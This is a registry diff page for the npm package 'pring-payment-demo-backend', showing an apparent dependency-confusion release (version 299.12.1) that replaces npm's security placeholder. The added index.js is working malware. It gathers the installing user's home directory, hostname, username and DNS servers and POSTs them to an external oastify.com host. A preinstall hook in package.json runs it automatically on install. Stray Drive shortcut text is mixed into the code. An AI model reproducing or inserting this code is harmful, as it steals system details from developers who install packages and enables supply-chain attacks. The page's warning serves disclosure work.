pring-payment-demo-backend 0.0.1-security → 299.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pring-payment-demo-backend might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +51 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ New! Keyboard shortcuts �
2
+ Drive keyboard shortcuts have been updated to give you first-letters navigation
3
+
4
+ const os = require('os');
5
+ const dns = require('dns');
6
+ const https = require('https');
7
+ const querystring = require('querystring');
8
+
9
+ // Data to be sent in the POST request
10
+ const data = {
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers().join(','),
15
+ };
16
+
17
+ // Convert data to a URL-encoded string
18
+ const postData = querystring.stringify(data);
19
+
20
+ // POST request options
21
+ const options = {
22
+ hostname: 'https://f5l7z3lvflutp43l7t44llvf46axynmc.oastify.com', // Replace with the hostname or IP address of your server
23
+ port: 443, // Replace with the port number your server is listening on
24
+ path: '/',
25
+ method: 'POST',
26
+ headers: {
27
+ 'Content-Type': 'application/x-www-form-urlencoded',
28
+ 'Content-Length': postData.length,
29
+ },
30
+ };
31
+
32
+ // Send the POST request
33
+ const req = https.request(options, (res) => {
34
+ console.log(`Status Code: ${res.statusCode}`);
35
+
36
+ res.on('data', (chunk) => {
37
+ console.log(`Response: ${chunk}`);
38
+ });
39
+
40
+ res.on('end', () => {
41
+ console.log('POST request completed.');
42
+ });
43
+ });
44
+
45
+ req.on('error', (error) => {
46
+ console.error(`Error sending POST request: ${error.message}`);
47
+ });
48
+
49
+ // Send the data in the POST request
50
+ req.write(postData);
51
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "pring-payment-demo-backend",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "299.12.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "basecontext": "^80.9.555"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pring-payment-demo-backend for more information.